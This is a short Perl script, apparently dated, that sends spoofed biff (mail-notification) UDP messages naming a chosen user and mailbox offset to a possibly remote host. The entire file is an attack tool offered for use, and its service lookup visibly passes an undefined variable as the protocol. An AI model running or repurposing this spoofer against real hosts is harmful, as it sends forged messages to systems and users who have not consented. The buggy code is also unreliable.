#!/usr/local/bin/perl
#
# Author: David J. Bianco <d.j.bianco@larc.nasa.gov>
#
# Fake biff requests to (possibly remote) hosts
#   % pbiff <hostname> <user> <offset>

#define some things here...

sub INTEL{0};
sub ATT{0};

require "sys/socket.ph";

$them = $ARGV[0]; 
$user = $ARGV[1];
$offset = $ARGV[2];
print "Trying to spoof biff for $user@$them ($offset)\n";
$sockaddr = 'S n a4 x8';
chop($hostname = `uname -n`);
($name, $aliases, $proto) = getprotobyname('udp');
($name, $aliases, $port) = getservbyname('biff', $port);

($name, $aliases, $type, $len, $thisaddr) = gethostbyname($hostname);
($name, $aliases, $type, $len, $thataddr) = gethostbyname($them);
$this = pack($sockaddr, &AF_INET, 0, $thisaddr);
$that = pack($sockaddr, &AF_INET, $port, $thataddr);
socket(S, &AF_INET, &SOCK_DGRAM, $proto) || die "socket: $!";
connect(S, $that) || die "connect: $!";
select(S); $| = 1; select(stdout);
print S "$user@$offset\n";              # send fake biff message
close(S);




